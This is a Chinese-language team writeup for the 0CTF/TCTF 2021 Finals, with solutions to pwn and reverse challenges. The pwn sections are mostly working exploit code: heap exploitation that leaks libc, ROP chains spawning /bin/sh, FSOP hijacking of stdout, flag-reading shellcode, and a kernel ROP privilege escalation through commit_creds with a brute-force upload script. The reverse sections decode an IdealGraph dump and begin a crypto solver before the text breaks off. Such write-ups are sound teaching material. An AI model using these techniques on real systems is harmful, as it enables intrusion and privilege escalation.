0CTF/TCTF 2021 Finals Writeup
前言
九月底和 r3kapig 的大师傅们一起打了国际比赛 TCTF/0CTF final，最终战队取得了世界排名第二，国内排名第一的好成绩，现将师傅们的 wp 整理如下，分享给大家一起学习进步~ 同时也欢迎各位大佬加入 r3kapig 的大家庭，大家一起学习进步，相互分享~ 简历请投战队邮箱：root@r3kapig.com
PWN
0VM
实现了一个简单的虚拟机，只不过虚拟机的指令是做完快速傅里叶变换后的膜长拼接出来的。做逆快速傅里叶变换就能求出应有的输入。虚拟机操作的内存通过单链表方式组织，在取出之后并没有将 block 的 fd 指针位置清空，但是已经将该 block 对应 mask 置1，所以可以正常读取泄露该指针，从而计算出libc地址。同时还有逻辑问题，在向链表插入mask为0 的 block 地址时，是先将要插入的 block 地址对应的内存置空，然后再去检查该 block 对应的 mask，所以可以用该漏洞，对一个已经加入链表的 block 空间的内存进行部分写空字节。然后就是劫持链表伪造结构体，从而进行任意读写了。
from pwn import *
import os
context.log_level = 'debug'
# io = process('./0VM')
# io = remote('121.5.102.199', 20000)
# io = remote('192.168.163.135', 20000)
libc = ELF('./libc-2.31.so')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
text ='''heapinfo
'''
def wrap(op, parm1, parm2, parm3):
cmd = "./FFT "
cmd += str(op) + " "
cmd += str(parm1) + " "
cmd += str(parm2) + " "
for x in p64(parm3):
cmd += str(ord(x)) + " "
f = os.popen(cmd)
res = f.readlines()
final = "".join(res)
# print final.encode('hex')
sn(final)
def vm1_copy_data(idx1, idx2):
wrap(1, idx1, idx2, 0)
def vm2_assi_data(idx, val):
wrap(2, idx, 0, val)
def vm3_read_from_data(idx, val):
wrap(3, idx, 0, val)
def vm4_write_to_data(idx, val):
wrap(4, idx, 0, val)
def vm5_add_data(idx1, idx2):
wrap(5, idx1, idx2, 0)
def vmf1_show_map(val):
wrap(0xf, 1, 0, val)
def vmf2_alloc_map(val):
wrap(0xf, 2, 0, val)
def vmf3_edit_map(val):
wrap(0xf, 3, 0, val)
# io = process('./0VM')
io = remote('121.5.102.199', 20000)
# io = remote('192.168.163.135', 20000)
ru(" #\n\n")
for x in xrange(0x40):
vmf2_alloc_map(0x82*0x10)
vmf3_edit_map(0x82<<32 | 0)
vmf3_edit_map(0x82<<32 | 0x820+0x10)
vmf2_alloc_map(0x82*0x10)
vmf1_show_map(0x82<<32 | 0)
libc_base = uu64(rn(8)) + 0x237d0
lg('libc_base')
mmap_addr = libc_base + 0x36f000
target_addr = mmap_addr + 8*0x83
vm2_assi_data(1, target_addr)
vm3_read_from_data(1, 0x82<<32 | 0x820*2+0x7c0)
vmf3_edit_map(0x82<<32 | 0x820*3)
vmf3_edit_map(0x82<<32 | 0x820+0x10-7)
vmf3_edit_map(0x82<<32 | 0x820*4)
for x in xrange(4):
vmf2_alloc_map(0x82*0x10)
io_file_jumps = libc_base + libc.sym['_IO_file_jumps']
vm2_assi_data(1, io_file_jumps)
vm3_read_from_data(1, 0x82<<32 | 0x820*4)
vm2_assi_data(1, 0x0101010101010101)
vm3_read_from_data(1, 0x82<<32 | 0x820*4+0x10)
system_addr = libc_base + libc.sym['system']
vm2_assi_data(1, system_addr)
vm3_read_from_data(1, 0x83<<32 | 0+0x18)
stderr_addr = libc_base + libc.sym['_IO_2_1_stderr_']
vm2_assi_data(1, stderr_addr)
vm3_read_from_data(1, 0x82<<32 | 0x820*4)
binsh = u64('/bin/sh\x00')
vm2_assi_data(1, binsh)
vm3_read_from_data(1, 0x83<<32 | 0)
vm2_assi_data(1, 1)
vm3_read_from_data(1, 0x83<<32 | 0+0x20)
vm2_assi_data(1, 2)
vm3_read_from_data(1, 0x83<<32 | 0+0x28)
wrap(6, 0, 0, 0)
# dbg(text)
# pause()
irt()Secure JIT II
OOB写直接ROP
def exp():
a = array(7)
a[0] = 0x20192019
a[10] = 0x421873 # ret
a[11] = 0x421095 # pop rax
a[12] = 59
a[13] = 0x421872 # pop rdi
a[14] = 0xa83ff0
a[15] = 0x42159a # pop rsi
a[16] = 0x6e69622f
a[17] = 0x4b2582 # 0x4b24d2
a[25] = 0x421872 # pop rdi
a[26] = 0xa83ff4
a[27] = 0x42159a # pop rsi
a[28] = 0x68732f
a[29] = 0x4b2582 # 0x4b24d2
a[37] = 0x421872 # pop rdi
a[38] = 0xa83ff0
a[39] = 0x42159a # pop rsi
a[40] = 0
a[41] = 0x4026c1 # pop rdx
a[42] = 0
a[43] = 0x4ff807 #0x43430c # syscall
# 0x4b2582 # 0x4b24d2 [rdi]=rsi; rsp+=0x38
promise
https://mem2019.github.io/jekyll/update/2021/09/27/TCTF2021-Promise.html
NaiveHeap
- 漏洞点是任意地址内存中指针的一次free，可以free tache的结构体，之后就可以重复利用。
- 重复利用tache结构体构造overlap。
- 修改size获得unsorted bin，partial write unsorted bin的fd把main_arena的bitsmap当作head。
- 一路往下写写到stdout，泄露libc，之后free_hook进行rop。
- 上一部分往下覆盖路过一个指针，如果指针指向内容不能读就会segfault，可以通过写另一个 fake size，然后利用free往上面打一个tcache的结构体地址，这样保证了那个地址可读
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# io = process('./chall', aslr=False)
# io = process('./pwn', aslr=False)
# io = remote('127.0.0.1', 4455)
io = remote('1.117.189.158', 60001)
# elf = ELF('./chall')
# libc = elf.libc
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
text ='''heapinfo
'''
def Gift(offset):
sl(str(0))
sl(offset)
def Add_Del(size, content):
sl(str(1))
sl(str(size))
sl(content)
Gift('-'+str(0xa0160/8))
Gift(str(0))
Add_Del(0x100, '')
Add_Del(0x200, '')
Add_Del(0x400, '')
payload = '\x00'*0x18
payload += p64(0x0001000000000000)
payload += '\x00'*0x18
payload += p64(0x0001000000000000)
payload += '\x00'*0xb8
payload += p16(0x72a0)
Add_Del(0x280, payload)
Add_Del(0x100, '\x00'*0xf0+p64(0)+p32(0x681))
payload = '\x00'*0x18
payload += p64(0x0000000100000000)
payload += '\x00'*0x18
payload += p64(0x0001000000000000)
payload += '\x00'*0xb0
payload += p16(0x73a0)
Add_Del(0x280, payload)
Add_Del(0xf0, '')
Add_Del(0x1000, '')
payload = '\x00'*0x18
payload += p64(0)
payload += '\x00'*0x18
payload += p64(0x0001000000000000)
payload += '\x00'*0x138
payload += p16(0x72a0)
Add_Del(0x280, payload)
Add_Del(0x200, '\x00'*0xf0+p64(0)+p32(0x101))
payload = '\x00'*0x78
payload += p64(0x0001000000000000)
payload += '\x00'*0x1f8
payload += p16(0x73a0)
Add_Del(0x280, payload)
Add_Del(0x400, '')
#
payload = '\x00'*0x78
payload += p64(0x0001000000000000)
payload += '\x00'*0x1f8
payload += p16(0x33f0)
Add_Del(0x280, payload)
payload = '\x00'*0x100
payload += p64(0) + p64(0x300)
Add_Del(0x400, payload)
payload = '\x00'*0x78
payload += p64(0x0000000100000000)
payload += '\x00'*0x1f0
payload += p16(0x3500)
Add_Del(0x280, payload)
payload = '\x00'*0x1a0
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += p16(0x3300)
Add_Del(0x3f0, payload)
payload = '\x00'*0x58
payload += p64(0x0000000100000000)
payload += '\x00'*0x190
payload += p16(0x5b28)
Add_Del(0x280, payload)
sl('0'*0x1000)
base = uu64(rn(8)) - 0x212ca0
lg('base')
pause()
###############
# dbg()
# pause()
setcontext=0x7ffff7dc60dd-0x7ffff7d6e000+base
rdx2rdi=0x7ffff7ec2930-0x7ffff7d6e000+base
address=0x7ffff7f5cb30-0x7ffff7d6e000+base
rdi=0
rsi=address+0xc0
rdx=0x100
read=0x7ffff7e7f130-0x7ffff7d6e000+base
rsp=rsi
rbp = 153280+base
leave=371272+base
struct =p64(address)+p64(0)*3+p64(setcontext)
struct =struct.ljust(0x68, '\x00')
struct+=p64(rdi)+p64(rsi)+p64(0)*2+p64(rdx)+p64(0)*2+p64(rsp)+p64(read)
Add_Del(0x2f0, p64(rdx2rdi)+struct)
rdx = 0x000000000011c371+base# rdx+r12
sys = 0x7ffff7e7f1e5-0x7ffff7d6e000+base
rax = 304464+base
rdi = 158578+base
rsi = 161065+base
rcx = 653346+base
rax_r10 = 0x000000000005e4b7+base
rop = p64(rdi)
rop += p64(0xdddd000)
rop += p64(rsi)
rop += p64(0x1000)
rop += p64(rdx)
rop += p64(7)
rop += p64(0)
rop += p64(rcx)
rop += p64(0x22)
rop += p64(0x7ffff7e89a20-0x7ffff7d6e000+base)
rop += p64(rax)
rop += p64(0)
rop += p64(rdi)
rop += p64(0)
rop += p64(rsi)
rop += p64(0xdddd000)
rop += p64(rdx)
rop += p64(0x1000)
rop += p64(0)
rop += p64(sys)
rop += p64(0xdddd000)
sn(rop.ljust(0x100, '\x00'))
#context.log_level='debug'
sc='''
mov rax,1
mov rdi,1
mov rsi,0xdddd300
mov rdx,0x600
syscall
'''
fk='''
mov rdi,rax
mov rax,0
mov rsi,0xdddd300
mov rdx,100
syscall
mov rax,1
mov rdi,rax
syscall
'''
# flag-03387efa-0ad7-4aaa-aae0-e44021ad310a
# poc = asm(shellcraft.open(b'/home/pwn/'))+asm(shellcraft.getdents64(3, 0xdddd000 + 0x300, 0x600))+asm(sc)
poc = asm(shellcraft.open(b'/home/pwn/flag-03387efa-0ad7-4aaa-aae0-e44021ad310a'))+asm(fk)
sn(poc)
pause()
irt()BabaHeap
题目的漏洞点在于 delete 功能未清空 ptr 和 update 功能未检测 use 位，导致可以对释放后的 chunk 进行写入操作。
另外，题目的读取函数允许我们输入 size - 1 的内容，然后最后一位设置为 \0。
题目的麻烦点在于信息泄露，这里需要利用到读取函数的置 0 操作，另外题目提供的 release 版本的 libc，没有符号信息，只能凭感觉来调试。
每个 bin 入链了第一个 chunk 后，该 chunk 的 next 和 prev 也会指向 bin_head - 0x10，利用读取函数，我们能修改到已释放的 chunk 的 next，我们演示一下：
- 我们释放掉一个
0x1b0大小的 chunk，此时它的 next 和 prev 都指向bin_head - 0x10：
- 利用读取函数对该 chunk 进行写入操作：
此时，我们的 chunk next 指向了另一个 bin，恰好是 0x120 的 chunk 所在的 bin_head - 0x10 的位置。
- 我们释放掉
0x120的 chunk，以使得0x00007ff51cb4bb00的位置有合法的 next 和 prev：
- 我们再一次申请这个
0x1b0的 chunk，那么bin_head就会指向0x120的bin_head - 0x10的位置。 - 我们再申请一个
0x1b0，就可以将 chunk 分配到0x120的bin_head - 0x10的位置，从而控制住这一片mal区域。 - 我们只要在 chunk 能够覆盖的区域内的 bin 中，入链一个 chunk，即可得到该 chunk 的地址，进而泄露 libc 基址，以及所有 chunk 地址、mal 地址等信息。
泄露了 libc 之后，剩下就是常规操作：
- 利用 unbin 在 stdout 前伪造合法的
next和prev - 再利用 unbin，将 stdout 所在的 chunk 合法地放入 bin->head 中
- 提前布置好 rop_chain，申请 chunk 得到 stdout 并在合适的位置上填写poc实现 FSOP，劫持 rip 和 rsp 读取到 flag。
EXP：
#encoding:utf-8
from pwn import *
import re
ip = '1.116.236.251'
port = 11124
local = 0
filename = './babaheap'
libc_name = './libc.so.1'
def create_connect():
global io, elf, libc
elf = ELF(filename)
context(os=elf.os, arch=elf.arch)
if local:
io = process(filename)
libc_name = './libc.so.1'
else:
io = remote(ip, port)
libc_name = './libc.so.1'
try:
libc = ELF(libc_name)
except:
pass
cc = lambda : create_connect()
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
sa = lambda x, y: io.sendafter(x, y)
g = lambda x: gdb.attach(io, x)
r = lambda : io.recv(timeout=1)
rr = lambda x: io.recv(x, timeout=1)
rl = lambda : io.recvline(keepends=False)
ru = lambda x : io.recvuntil(x)
ra = lambda : io.recvall(timeout=1)
it = lambda : io.interactive()
cl = lambda : io.close()
def regexp_out(data):
patterns = [
re.compile(r'(flag{.*?})'),
re.compile(r'xnuca{(.*?)}'),
re.compile(r'DASCTF{(.*?)}'),
re.compile(r'(WMCTF{.*?})'),
re.compile(r'[0-9a-zA-Z]{8}-[0-9a-zA-Z]{3}-[0-9a-zA-Z]{5}'),
]
for pattern in patterns:
res = pattern.findall(data.decode() if isinstance(data, bytes) else data)
if len(res) > 0:
return str(res[0])
return None
def allocate(size, content=b'callmecro'):
sla(b'Command: ', b'1')
sla(b'Size: ', str(size).encode())
if size == len(content):
sa(b'Content: ', content)
else:
sla(b'Content: ', content)
def no_send_allocate(size, content=b'callmecro'):
sla(b'Command: ', b'1')
sla(b'Size: ', str(size).encode())
if size == len(content):
s(content)
else:
sl(content)
def update(idx, size, content=b'callmecro'):
sla(b'Command: ', b'2')
sla(b'Index: ', str(idx).encode())
sla(b'Size: ', str(size).encode())
if size <= 1:
return
if size == len(content):
sa(b'Content: ', content)
else:
sla(b'Content: ', content)
def delete(idx):
sla(b'Command: ', b'3')
sla(b'Index: ', str(idx).encode())
def view(idx):
sla(b'Command: ', b'4')
sla(b'Index: ', str(idx).encode())
ru(b': ')
return ru(b'\n1. Allocate')[:-12]
def pwn():
cc()
allocate(0x1b0) # 0
allocate(0x1b0) # 1
allocate(0x100) # 2
allocate(0x100) # 3
allocate(0x120) # 4
allocate(0x120) # 5
allocate(0x120) # 6
delete(0)
update(0, 1)
delete(2)
allocate(0x1b0) # 0
allocate(0x1b0) # 2
delete(4)
chunk_0x120 = u64(view(2)[0x18:0x20])
log.success('No.4 chunk: 0x%x', chunk_0x120)
libc.address = chunk_0x120 - 0xb38d0
log.success('libc_addr: 0x%x', libc.address)
data_segment = libc.address + 0xb0000
stdout = libc.address + 0xb0280
mprotect = libc.address + 0x41DC0
log.success('stdout: 0x%x', stdout)
my_chunk = libc.address + 0xb0b10
log.success('my_chunk: 0x%x', my_chunk)
chunk_6 = libc.address + 0xb3b50
fake_chunk = stdout - 0x10
# 任意写伪造 stdout 首部
update(4, 0x11, p64(fake_chunk - 0x18) + p64(fake_chunk - 0x08))
allocate(0x120) # 4
delete(6)
update(6, 0x30, p64(fake_chunk - 0x10) + p64(my_chunk+0x8))
update(2, 0x150, p64(0)*3+p64(chunk_6)+p64(my_chunk+0x8))
# 6 -----> 通过 unbin，将 stdout_FILE 送上 head 位置
allocate(0x120)
# mov rdx, [rdi+30h];mov rsp, rdx;mov rdx, [rdi+38h];jmp rdx
stack_mig = libc.address + 0x78D24
ret = libc.address + 0x15292
pop_rdi = libc.address + 0x15291
pop_rsi = libc.address + 0x1d829
pop_rdx = libc.address + 0x2cdda
pop_rax = libc.address + 0x16a16
syscall = libc.address + 0x23720
rop_chain = libc.address + 0xb3a20
rop = flat([
pop_rdi, data_segment,
pop_rsi, 0x8000,
pop_rdx, 7,
mprotect, rop_chain+0x40
])
rop += asm(shellcraft.open('/flag'))
rop += asm(shellcraft.read(3, data_segment, 0x100))
rop += asm(shellcraft.write(1, data_segment, 0x50))
update(5, 0x100, rop)
poc = flat({
0x30: 1, # f->wpos
0x38: 1, # f->wend
0x40: rop_chain,
0x48: ret,
0x58: stack_mig,# f->write
0x70: 1, # f->buf_size
}, filler=b'\x00', length=0x120)
# 7 -----> 分配到 stdout_FILE
no_send_allocate(0x120, poc)
log.success('flag: %s', regexp_out(ru(b'}')))
# flag{use_musl_4ft3r_fr33}
cl()
if __name__ == '__main__':
pwn()kbrop
直接当作没有ksalr，然后爆破差不多几百次能出
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>
void errExit(char* msg)
{
puts(msg);
exit(-1);
}
struct __attribute__((__packed__)) _d
{
uint16_t size;
uint8_t buf[0x100];
uint64_t rbx;
uint64_t rbp;
uint64_t rop[0x100];
}d;
/*
cat /proc/kallsyms | grep proc_ioctl
commit_creds _copy_from_user
ffffffffb82909b0
ffffffff97a909b0
ffffffff982909b0
ffffffff9e6909b0
ffffffff8ea909b0
ffffffff88e909b0
ffffffffba2909b0
*/
uint64_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void spawn_shell()
{
puts("spawn_shell");
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}
int main()
{
save_status();
signal(SIGSEGV, spawn_shell);
int fd;
fd = open("/proc/chal",0);
memset(d.buf, 'A', sizeof(d.buf));
size_t i = 0;
d.rop[i++] = 0xffffffff81001619; // pop rdi
d.rop[i++] = 0;
d.rop[i++] = 0xffffffff81090c20; // prepare_kernel_cred
d.rop[i++] = 0xffffffff81000210; // mov rdi, rax
d.rop[i++] = 0xffffffff810909b0; // commit_creds
d.rop[i++] = 0xffffffff81b66d10; // swapgs
d.rop[i++] = 0xffffffff8102984b; // iretq
d.rop[i++] = (uint64_t)spawn_shell;
d.rop[i++] = user_cs;
d.rop[i++] = user_rflags;
d.rop[i++] = user_sp;
d.rop[i++] = user_ss;
d.rop[i++] = 0x13372019;
d.size = 0x110 + i * sizeof(uint64_t);
puts("exploit!");
ioctl(fd,0x666,&d);
return 0;
}
int main2(int argc, char const *argv[])
{
int fd;
fd = open("/proc/chal",0);
memset(d.buf, 'A', sizeof(d.buf));
size_t i = 0;
d.size = 0x100;
puts("exploit!");
ioctl(fd,0x666,&d);
return 0;
}from pwn import *
import base64
context(log_level='info', arch='amd64')
BIN = "./fs/exp"
def exec_cmd(sh, cmd):
sh.sendline(cmd)
sh.recvuntil("$ ")
if __name__ == "__main__":
# sh = ssh(host="159.75.250.50", user="ctf", password="tctf2021").run("/bin/sh")
sh = process("./run.sh")
with open(BIN, "rb") as f:
data = f.read()
print("upload")
# sh.upload_data(data, "/home/ctf/exp")
total = 0
while True:
if len(sh.recvuntil("~ $ ", timeout=5)) == 0:
print("Root!")
sh.sendline("cat /dev/sda")
sh.interactive()
encoded = base64.b64encode(data)
once_size = 0x200
count = 0
for i in range(0, len(encoded), once_size):
sh.sendline("echo -n \"%s\" >> benc" % (encoded[i:i+once_size].decode()))
# print (float(i)/len(encoded))
count += 1
sh.sendline("cat benc | base64 -d > exp")
sh.sendline("chmod +x exp")
sh.sendline("./exp")
for i in range(0, count + 2):
sh.recvuntil("~ $ ")
total += 1
print(total)
# context(log_level='error')
sh.interactive()Reverse
bali
一个 Java 的逆向题，但是并没有给 Java 字节码，而是给了 openjdk 的中间语言 IdealGraph 的表示。
大概长这样：
1874 LoadI === 377 1875 1281 [[ 1871 ]] @int[int:>=0]:exact+any *, idx=6; #int !orig=1288,1127,710,[1171],[967] !jvms: Task::f @ bci:192 (line 25)
1870 LoadI === 377 1871 1283 [[ 1869 ]] @int[int:>=0]:exact+any *, idx=6; #int !orig=1282,710,[1171],[967] !jvms: Task::f @ bci:192 (line 25)
1871 StoreI === 377 1875 336 1874 [[ 1869 1870 ]] @int[int:>=0]:exact+any *, idx=6; Memory: @int[int:20]:NotNull:exact[0] *, idx=6; !orig=1286,1125,729,[1140] !jvms: Task::f @ bci:193 (line 25)
1868 LoadI === 377 1869 1474 [[ 1867 ]] @int[int:>=0]:exact+any *, idx=6; #int !orig=1568,1315,1127,710,[1171],[967] !jvms: Task::f @ bci:192 (line 25)IdealGraph 的资料并不太多，可以从 openjdk 的 wiki 找到一点点资料，像这里 有为数不多的总体性资料。
（如果了解 JVM 的 IR 的历史就会知道，事实上 JVM 的 IR 设计（openjdk），也就是 Ideal Graph 的设计和 v8 的 sea of nodes 是同一个设计者，两者在整体设计上有许多相通之处。）
这个 IR 是一个图结构，每一行对应一个node ，左边是 node 自己的 ID ，"===" 右侧的 3 个数字是 input ，中括号中的是 output 。 可以从 openjdk 的源码 找到每一个 node 的具体语义，可以从代码和注释中大概看明白。
然而本体逆向的难点主要在于，整个图结构是比较大的，如果直接看，很难看明白图的结构。好在，高等级版本的 JDK ，IR dump 出来有行数信息，如本题就有，所以可以通过行数信息将每一行拆开来看，这样就可以让逆向的难度稍微降低一点。
具体的每一个 node 的语义就不赘述了，可以通过代码自行看明，这里只简单列举几个重要的点：
- 类型在 node 里已经指明了，例如 "LoadI" 就是 int 类型
- 为方便分析，这种 IR 的设计将内存副作用直接表示在了 IR 当中以避免指针分析复杂难做：Load/Store 的节点的输出是一个由该操作进行之后所形成的内存状态。举例来说，Store 节点的参数分别是："控制流参数，内存状态，地址，值"，例如
Store C, MEM, a+100, 100（伪代码）得到了一个新的内存状态，在这个状态中，相当于将原来的MEM状态（初始状态，或是另一个 Store 产生的内存状态）中的a+100地址对应的值替换为了 100 。这个新的内存状态又可以用于 Store 或是 Load 。通过这样的方式，内存的副作用就完全被涵盖在了 IR 中，可以直接看出，但是对于我们来说，逆向时，错误的内存状态可能导致错误的逆向结果。举例来讲：a[10] = 200; c = a[10]; a[10] = 100; x = c;这时，如果只看语句顺序，在 IR 中，x = a依赖的内存状态是c = a之前的状态，但是语句顺序却在之后，所以x应该是 200 而不是 100。（好在，本题里边居然没用到这个点，所以让实际情况变得更简单了） - IR 也带有 SSA 的性质，有 Phi node。循环、if 将会生成 Phi node。
- merge mem其实不管也不怎么影响，还挺复杂的。。。
为逆向方便，我的方法是，按照每一行，将图画出来，这样会得到一个一个的子图，这样一行一行翻译。由于题目本身量比较小，所以这样的方法十分可行。
可视化的脚本如下：
with open('mylog.txt', 'r') as f:
content = f.read()
which_line = 'line 20' # 这里一行一行的修改，开头两行 用 "#" 号注释掉
graph = []
def ignore(line):
included = [
'Add',
'Shift',
'Store',gg
'Load'
]
equals = []
return False
for x in included:
if x in line:
return False
for x in equals:
if x == line:
return False
return True
table = {}
for line in content.splitlines():
if line.startswith('#'):
continue
if len(line.strip()) == 0:
continue
orig_line = line
line = line.split(']]')[0]
part1 = line.split('===')[0]
print(line)
part2 = line.split('===')[1]
num, op = part1.split()
ins, out = part2.split('[[')
def to_int(x):
if x == '_':
return None
else:
return int(x)
if 'CallStaticJava' in line:
op = 'CallStaticJava: {}'.format(orig_line.split('#')[1].split('c=')[0])
part2 = part2.split('(')[0] + part2.split(')')[1]
ins, out = part2.split('[[')
if 'returns' in line:
ins, out = part2.split('[[')[0].split('returns')
if 'exception' in line:
ins, out = part2.split('[[')[0].split('exception')
if 'ConL' in orig_line:
con_value = orig_line.split('#')[1]
ins = list(map(to_int, ins.split()))
out = list(map(to_int, out.split()))
if ignore(op):
continue
table[num] = op
if 'ConL' in orig_line:
table[num] = op + ':{}'.format(con_value)
if not which_line in orig_line:
continue
print(orig_line)
graph.append((num, op, ins, out))
with open('log.dot', 'w') as f:
f.write('digraph {')
printed = []
for g in graph:
num, op, ins, out = g
f.write('{} [label="{} {}"]\n'.format(num, num, op))
printed.append(num)
out_printed = []
for g in graph:
num, op, ins, out = g
for o in out:
if o:
f.write('{} -> {};\n'.format(num, o))
out_printed.append((num, o))
for i in ins:
if i:
if not i in printed:
f.write('{} [label="{} {}"]\n'.format(i, i, table[str(i)]))
if not (i, num) in out_printed:
f.write('{} -> {};\n'.format(i, num))
out_printed.append((i, num))
f.write('}')
之后通过 dot log.dot -Tpng > xx.png 就可以画出图然后一行一行翻译。
其中比较难的在于两个被 unroll 的循环，由于是常量级的循环（循环的次数固定且不算大），被 unroll 了，如果对优化的算法足够敏感应该能看出来。否则可能会影响一点（会觉得例如 24 行的操作很奇怪，看不懂）。 如果实在看不出来是循环 unroll 问题其实也不大，按照 addr 的规律一个一个推就好了。这个点好在，因为没有出现之前提到的用 MEM 的状态去确定是哪个变量，所以按照顺序翻译不会出现问题，否则的话翻译过程会复杂不少，需要关注每一个内存状态。
比较可惜的是，由于个人疏忽，将 "-256" 想当然写成了 "256"（0xff），导致这个题本来在第一天基本就做到最后一步的，一直卡住，耽误了大量时间。
最后翻译的结果：
static boolean f(String inp) { // thread_local + 280
if (inp != null) {
if (inp.length() != 21) {
return false;
} else if (!inp.substring(0, 5).equals("0ops{")) {
return false;
} else if (inp.charAt(20) == 125) // 189
return false;
int[] a = new int[20];
for (int i = 5; i < 20; i++) { // 1027 - 307 loop
a[i - 5] = inp.charAt(i);
}
int[] b = new int[20];
for (int i = 1; i < 1234; i++) { // 1033 - 3032 loop; i = phi(1033, 46, 746)
for (int j = 0; j < 14; ++j) {// int[] wtf27 = ?; // 442 loop unrolling?
b[j] = a[j + 1];// b[4] = a[5]; /* 1920 */ b[5] = a[6]; /* 1917 */ b[6] = a[7]; /* 1915 */ b[7] = a[8]; /* 1907 */ b[8] = a[9]; /* 1905 */ b[9] = a[10]; /* 1903 */ b[10] = a[11]; /* 1901 */ b[11] = a[12]; /* 1897 */ b[12] = a[13]; /* 1895 */ b[13] = a[14]; /* 1893 */ b[14] = a[15]; /* 1890 */ b[15] = a[16]; /* 1882 */ b[16] = a[17]; /* 1877 */ b[17] = a[18]; /* 1875 */ // 1217
}// guess: loop unrolling, 16-18
int id1918 = b[1] & b[0]; //int id1918 = b[1] & b[0];
int wtf20_temp = id1918 + b[3]; int wtf20 = (wtf20_temp - ((wtf20_temp + ((wtf20_temp >> 31) >>> 24) & -256))); /* 1908, 591 */
int id1891 = (b[5] | b[7]) ^ wtf20;
int id1888 = id1891 + b[10] + b[11]; int id1883 = id1888 - ((((id1888 >> 31) >>> 24) + id1888) & -256);
int temp1872 = a[0] ^ id1883;
for (int j = 0; j < 14; ++j) {// unrolling?
a[j] = a[j + 1];// a[4] = a[5]; /* 1871 */ a[5] = a[6]; /* 1869 */ /* ... */ a[17] = a[18];
}// guess: loop unrolling 24 - 26
a[14] = temp1872; /* 1844 */
} /* 997: phi 1844(745) */
if (a[14] != 155 || a[0] != 187||a[12] != 106||a[8] != 131||a[2] != 20||a[1] != 169||a[10] != 239||a[5] != 94||a[11] != 63||a[3] != 23||a[7] != 117||a[6] != 107||a[13] != 112||a[4] != 100||a[9] != 108) {
return false;
} else {
return true;
}
}
return false;
/* some code here */
}到这一步就比较简单了，直接逆推就好了。
public class test {
public static void main(String[] args) {
int[] a = new int[20];
a[14] = 155;
a[0] = 187;
a[12] = 106;
a[8] = 131;
a[2] = 20;
a[1] = 169;
a[10] = 239;
a[5] = 94;
a[11] = 63;
a[3] = 23;
a[7] = 117;
a[6] = 107;
a[13] = 112;
a[4] = 100;
a[9] = 108;
for (int i = 0; i < 1234; ++i) {
int id1872 = a[14];
int id1918 = a[1] & a[0];
int wtf20_temp = id1918 + a[3];
int wtf20 = wtf20_temp - ((wtf20_temp + ((wtf20_temp >> 31) >>> 24)) & -256);
int id1891 = (a[5] | a[7]) ^ wtf20;
int id1888 = id1891 + a[10] + a[11];
int id1883 = id1888 - ((((id1888 >> 31) >>> 24) + id1888) & -256);
for (int j = 13; j >= 0; j--) {
a[j + 1] = a[j];
}
a[0] = id1883 ^ id1872;
}
for (int i = 0; i < 15; ++i) {
System.out.print((char)a[i]);
}
}
}(BTW ((x >> 31) >>> 24) & -256 其实是 sign ，thanks to liangjs)
halfhalf
逆向部分：
PoW部分验证输入的前四字节的的sha256的后3字节与输出的内容相同。
Magic Word部分将输入直接与常量比对，直接提取出来即可,为🐶🍐🍳🏠🐣💀💺👈👉🏁🦅🔥🪓👃🎶📄。
程序先初始化了质数p和q,和一个上限1<<513-1。在这个范围内随机生成了一个数v40。
菜单说明：
- 输出p*q
- 有一个随机数v40 若输入>=v40
c=(rand()**2)*9*2否则c= (rand()**2)*9，然后输出pow(c,65537,p*q) - 输出旧的v40，然后重新随机生成一个v40
- 若输入的是v40则输出flag 否则退出程序
- 退出
crypto部分：
由于*9和*9*2最大的区别是是否为平方数，那么在pow下，我们计算一个雅可比符号就可以判断他和v40的大小，从而二分法逼近
import hashlib,itertools,string
from pwn import *
from sympy import *
import gmpy2
#context.log_level="debug"
#io=process("./debug")
io=remote("121.5.253.92",34567)
# pass pow
def pass_pow():
io.recvuntil("<3\n")
rr=str(io.readline().strip(),encoding = "utf8")
print("fuck:",rr)
for i in itertools.permutations(string.printable,4):
#print(hashlib.sha256("".join(i).encode()).hexdigest()[-6:],rr)
if hashlib.sha256("".join(i).encode()).hexdigest()[-6:] == rr:
result="".join(i)
print("pass_pow:"+result)
io.writeline(result)
break
else:
print('error')
pass_pow()
# magic word
io.recvuntil("Tell me the magic words: ")
io.writeline("🐶🍐🍳🏠🐣💀💺👈👉🏁🦅🔥🪓👃🎶📄")
# get n
def convert_emoji_to_number(emojistr):
